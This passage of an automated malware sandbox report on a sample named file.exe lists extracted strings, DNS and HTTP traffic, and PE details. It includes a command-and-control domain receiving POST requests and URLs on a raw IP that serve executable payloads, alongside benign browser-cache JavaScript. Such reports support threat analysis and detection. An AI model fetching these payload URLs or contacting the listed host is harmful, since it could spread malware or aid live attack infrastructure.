d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: file.exe, 00000004.00000002.1940554261.0000000000F9B000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000004.00000003.1939744986.00000000014F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1941543395.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1939549075.000000000149F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000004.00000003.1939744986.00000000014F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1941543395.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1939549075.000000000149F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeM
Source: file.exe, 00000004.00000003.1939744986.00000000014F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1941543395.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1939549075.000000000149F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_110.13.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_110.13.dr, chromecache_77.13.dr, chromecache_111.13.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_110.13.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: file.exe, 00000004.00000003.1687396161.0000000001508000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1687492752.0000000001512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz
Source: file.exe, 00000004.00000003.1377432121.00000000014FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664427486.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1639125954.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1637781834.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1687603648.00000000014ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: file.exe, 00000004.00000003.1748333660.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748503437.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748543051.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/;
Source: file.exe, 00000004.00000003.1748333660.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748503437.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748543051.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/S
Source: file.exe, 00000004.00000003.1664153986.0000000001507000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1637465538.0000000001507000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1667828623.000000000150A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1687492752.0000000001512000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748503437.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1668155481.0000000001512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: file.exe, 00000004.00000003.1687396161.0000000001508000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1687492752.0000000001512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api9
Source: file.exe, 00000004.00000003.1614564165.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiG
Source: file.exe, 00000004.00000003.1936169683.000000000150B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1704990079.0000000001501000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1941635347.000000000150B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748355617.0000000001512000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1705109139.0000000001504000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1856155217.0000000001513000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1705196771.000000000150A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiI
Source: file.exe, 00000004.00000003.1748333660.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748503437.00000000014ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiS
Source: file.exe, 00000004.00000003.1637465538.0000000001507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiu
Source: chromecache_110.13.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_110.13.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_110.13.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_110.13.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_110.13.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_110.13.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_110.13.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_110.13.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_110.13.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_110.13.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_110.13.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_110.13.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_110.13.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_102.13.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000004.00000003.1639178536.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000004.00000003.1639178536.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_102.13.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_91.13.dr, chromecache_102.13.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000004.00000003.1639178536.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000004.00000003.1639178536.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000004.00000003.1639178536.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000004.00000003.1639178536.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000004.00000003.1639178536.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.7:49809 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663D661	4_2_0663D661
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06621E66	4_2_06621E66
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665366F	4_2_0665366F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06628672	4_2_06628672
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06646E71	4_2_06646E71
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06661644	4_2_06661644
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662A64D	4_2_0662A64D
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06665E55	4_2_06665E55
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661EE56	4_2_0661EE56
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662365C	4_2_0662365C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06671658	4_2_06671658
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06663E28	4_2_06663E28
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06636639	4_2_06636639
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06636E38	4_2_06636E38
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06646602	4_2_06646602
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06638611	4_2_06638611
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06634E1D	4_2_06634E1D
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662DEE0	4_2_0662DEE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06616EE4	4_2_06616EE4
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066276EF	4_2_066276EF
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066246F0	4_2_066246F0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663E6CF	4_2_0663E6CF
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066446C9	4_2_066446C9
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06670EB6	4_2_06670EB6
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066596BC	4_2_066596BC
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663B695	4_2_0663B695
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0667069F	4_2_0667069F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06673773	4_2_06673773
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662FF7A	4_2_0662FF7A
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06623F78	4_2_06623F78
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662EF7D	4_2_0662EF7D
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06663725	4_2_06663725
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06643721	4_2_06643721
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664AF29	4_2_0664AF29
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06655F35	4_2_06655F35
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663DF3D	4_2_0663DF3D
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06619F09	4_2_06619F09
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06647F14	4_2_06647F14
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06626718	4_2_06626718
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663C7E5	4_2_0663C7E5
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0661AFE6	4_2_0661AFE6
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06633FF0	4_2_06633FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662C7C0	4_2_0662C7C0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664CFC0	4_2_0664CFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066717C1	4_2_066717C1
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06664FCF	4_2_06664FCF
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066337D2	4_2_066337D2
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664C7D1	4_2_0664C7D1
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066677DC	4_2_066677DC
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06644FD8	4_2_06644FD8
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666AFDA	4_2_0666AFDA
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666F7DB	4_2_0666F7DB
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0662AFA2	4_2_0662AFA2
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_066307A5	4_2_066307A5
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663A7B1	4_2_0663A7B1
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06656FBE	4_2_06656FBE
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06637782	4_2_06637782
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06620F81	4_2_06620F81
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665CF88	4_2_0665CF88
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0665CF90	4_2_0665CF90
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06640F9F	4_2_06640F9F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0664A464	4_2_0664A464
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0663546A	4_2_0663546A
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06673C76	4_2_06673C76
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06629C77	4_2_06629C77
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06630C79	4_2_06630C79
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0666C47C	4_2_0666C47C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06615C40	4_2_06615C40
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06617443	4_2_06617443
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06639C45	4_2_06639C45
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_06650449	4_2_06650449
